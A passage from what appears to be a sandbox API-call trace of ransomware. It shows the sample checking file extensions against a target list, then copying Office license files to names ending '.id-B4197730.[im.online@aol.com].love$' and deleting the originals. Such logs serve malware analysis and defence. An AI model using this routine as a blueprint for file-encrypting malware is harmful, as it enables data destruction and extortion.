(lpString=".zip") returned 4 [0265.237] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.237] lstrlenW (lpString=".rar") returned 4 [0265.237] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.237] lstrlenW (lpString=".bz2") returned 4 [0265.237] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.237] lstrlenW (lpString=".7z") returned 3 [0265.237] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.237] lstrlenW (lpString=".dbf") returned 4 [0265.237] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.237] lstrlenW (lpString=".1cd") returned 4 [0265.237] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.238] lstrlenW (lpString=".jpg") returned 4 [0265.238] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.238] lstrlenW (lpString=".doc") returned 4 [0265.238] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.238] lstrlenW (lpString=".docx") returned 5 [0265.238] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.238] lstrlenW (lpString=".pdf") returned 4 [0265.238] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.238] lstrlenW (lpString=".xls") returned 4 [0265.239] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.239] lstrlenW (lpString=".xlsx") returned 5 [0265.239] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.239] lstrlenW (lpString=".ppt") returned 4 [0265.239] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.239] lstrlenW (lpString=".zip") returned 4 [0265.239] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.239] lstrlenW (lpString=".rar") returned 4 [0265.239] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.239] lstrlenW (lpString=".bz2") returned 4 [0265.239] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.239] lstrlenW (lpString=".7z") returned 3 [0265.239] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.239] lstrlenW (lpString=".dbf") returned 4 [0265.239] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.239] lstrlenW (lpString=".1cd") returned 4 [0265.239] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0265.240] lstrlenW (lpString=".jpg") returned 4 [0265.240] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.240] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.240] lstrlenW (lpString="HomeBusinessR_Retail3-ppd.xrm-ms") returned 32 [0265.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.242] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=22092) returned 1 [0265.242] CloseHandle (hObject=0x534) returned 1 [0265.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220 [0265.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.243] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.243] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0265.438] GetLastError () returned 0x0 [0265.438] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x564c, lpOverlapped=0x0) returned 1 [0265.517] WriteFile (in: hFile=0x574, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x5650, lpOverlapped=0x0) returned 1 [0265.519] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0265.519] WriteFile (in: hFile=0x574, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x114, lpOverlapped=0x0) returned 1 [0265.520] SetEndOfFile (hFile=0x574) returned 1 [0265.520] CloseHandle (hObject=0x574) returned 1 [0265.520] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.520] SetEndOfFile (hFile=0x534) returned 1 [0265.526] CloseHandle (hObject=0x534) returned 1 [0265.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1 [0265.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.529] lstrlenW (lpString=".doc") returned 4 [0265.529] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.529] lstrlenW (lpString=".docx") returned 5 [0265.529] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.529] lstrlenW (lpString=".pdf") returned 4 [0265.529] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.529] lstrlenW (lpString=".xls") returned 4 [0265.529] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.530] lstrlenW (lpString=".xlsx") returned 5 [0265.530] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.530] lstrlenW (lpString=".ppt") returned 4 [0265.530] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.530] lstrlenW (lpString=".zip") returned 4 [0265.530] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.530] lstrlenW (lpString=".rar") returned 4 [0265.530] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.530] lstrlenW (lpString=".bz2") returned 4 [0265.530] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.530] lstrlenW (lpString=".7z") returned 3 [0265.530] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.530] lstrlenW (lpString=".dbf") returned 4 [0265.530] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.531] lstrlenW (lpString=".1cd") returned 4 [0265.531] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.531] lstrlenW (lpString=".jpg") returned 4 [0265.531] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.531] lstrlenW (lpString=".doc") returned 4 [0265.531] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.531] lstrlenW (lpString=".docx") returned 5 [0265.531] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.531] lstrlenW (lpString=".pdf") returned 4 [0265.531] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.531] lstrlenW (lpString=".xls") returned 4 [0265.532] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.532] lstrlenW (lpString=".xlsx") returned 5 [0265.532] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.532] lstrlenW (lpString=".ppt") returned 4 [0265.532] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.532] lstrlenW (lpString=".zip") returned 4 [0265.532] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.532] lstrlenW (lpString=".rar") returned 4 [0265.532] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.532] lstrlenW (lpString=".bz2") returned 4 [0265.532] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.532] lstrlenW (lpString=".7z") returned 3 [0265.532] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.533] lstrlenW (lpString=".dbf") returned 4 [0265.533] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.533] lstrlenW (lpString=".1cd") returned 4 [0265.533] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82 [0265.533] lstrlenW (lpString=".jpg") returned 4 [0265.533] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.533] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.534] lstrlenW (lpString="HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 34 [0265.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.535] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=11625) returned 1 [0265.536] CloseHandle (hObject=0x534) returned 1 [0265.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0265.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.537] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.537] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0265.539] GetLastError () returned 0x0 [0265.539] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x2d69, lpOverlapped=0x0) returned 1 [0265.553] WriteFile (in: hFile=0x574, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x2d70, lpOverlapped=0x0) returned 1 [0265.555] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0265.555] WriteFile (in: hFile=0x574, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x118, lpOverlapped=0x0) returned 1 [0265.555] SetEndOfFile (hFile=0x574) returned 1 [0265.567] CloseHandle (hObject=0x574) returned 1 [0265.570] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.570] SetEndOfFile (hFile=0x534) returned 1 [0265.626] CloseHandle (hObject=0x534) returned 1 [0265.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1 [0265.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.630] lstrlenW (lpString=".doc") returned 4 [0265.630] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString=".docx") returned 5 [0265.630] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.630] lstrlenW (lpString=".pdf") returned 4 [0265.630] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString=".xls") returned 4 [0265.630] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString=".xlsx") returned 5 [0265.630] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.630] lstrlenW (lpString=".ppt") returned 4 [0265.630] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.630] lstrlenW (lpString=".zip") returned 4 [0265.630] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString=".rar") returned 4 [0265.630] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString=".bz2") returned 4 [0265.630] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString=".7z") returned 3 [0265.630] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.630] lstrlenW (lpString=".dbf") returned 4 [0265.630] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.630] lstrlenW (lpString=".1cd") returned 4 [0265.631] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.631] lstrlenW (lpString=".jpg") returned 4 [0265.631] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.631] lstrlenW (lpString=".doc") returned 4 [0265.631] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.631] lstrlenW (lpString=".docx") returned 5 [0265.631] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0265.631] lstrlenW (lpString=".pdf") returned 4 [0265.631] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0265.631] lstrlenW (lpString=".xls") returned 4 [0265.631] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0265.631] lstrlenW (lpString=".xlsx") returned 5 [0265.631] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0265.631] lstrlenW (lpString=".ppt") returned 4 [0265.632] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0265.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.632] lstrlenW (lpString=".zip") returned 4 [0265.632] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0265.632] lstrlenW (lpString=".rar") returned 4 [0265.632] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0265.632] lstrlenW (lpString=".bz2") returned 4 [0265.632] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0265.632] lstrlenW (lpString=".7z") returned 3 [0265.632] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0265.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.632] lstrlenW (lpString=".dbf") returned 4 [0265.632] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0265.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.632] lstrlenW (lpString=".1cd") returned 4 [0265.633] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0265.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0265.633] lstrlenW (lpString=".jpg") returned 4 [0265.633] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0265.633] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0265.633] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 42 [0265.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.635] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=21737) returned 1 [0265.635] CloseHandle (hObject=0x534) returned 1 [0265.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0265.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0265.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0265.636] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.636] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0265.639] GetLastError () returned 0x0 [0265.639] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x54e9, lpOverlapped=0x0) returned 1 [0265.863] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x54f0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x54f0, lpOverlapped=0x0) returned 1 [0265.867] ReadFile (in: hFile=0x534, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0265.867] WriteFile (in: hFile=0x4ac, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x128, lpOverlapped=0x0) returned 1 [0265.868] SetEndOfFile (hFile=0x4ac) returned 1 [0265.877] CloseHandle (hObject=0x4ac) returned 1 [0265.883] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0265.883] SetEndOfFile (hFile=0x534) returned 1 [0265.899] CloseHandle (hObject=0x534) returned 1 [0265.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0265.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0265.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0265.902] lstrlenW (lpString=".doc") returned 4 [0265.902] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0265.902] lstrlenW (lpString=".docx") returned 5 [0265.902] lstrcmpiW (lpString1=".docx", 